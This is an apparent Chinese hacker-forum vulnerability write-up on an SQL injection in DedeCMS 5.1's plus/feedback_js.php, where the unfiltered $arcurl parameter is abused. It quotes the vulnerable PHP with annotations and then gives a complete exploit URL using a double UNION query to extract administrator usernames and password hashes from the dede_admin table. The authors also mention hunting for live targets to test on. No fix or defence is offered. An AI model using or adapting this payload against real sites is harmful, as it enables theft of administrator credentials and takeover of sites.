作者:st0p&Rainy'Fox
同样是在magic_quotes_gpc=off的情况下可用
漏洞版本:DEDECMS 5.1
此漏洞可拿到后台管理员的帐号和加密HASH,漏洞存在文件plus/feedback_js.php,未过滤参数为$arcurl
......
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
//此处$arcurl没有过滤
if(is_array($row)) $urlindex = $row['id'];
//存在结果则把$urlindex赋值为查询到的$row['id'],我们可以构造SQL语句带入下面的操作中了
}
if(empty($arcID) && empty($urlindex)) exit();
//如果$arcID为空或$urlindex为空则退出
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' ";
//我们让$arcID为空,刚才上面执行的结果就会被赋值给$wq带入下面的操作中执行了.
else $wq = " aid='$arcID' ";
$querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
看一下利用方法吧,嘿,为了闭合我用了两次union
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 as msg from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
javascript:contentimage(this);>
唉,偶和Rainy'Fox这家伙找目标测试的时候,他竟然说能不能在magic_quotes_gpc=on时通过....这种想法太YD了..也太可怕了,要真可以实现,这个网络界又该乱了,好多程序都是在PHP默认magic_quotes_gpc为关闭时才会调用自身的转义部分...要真能实现,那就是PHP程序的恶梦了...
……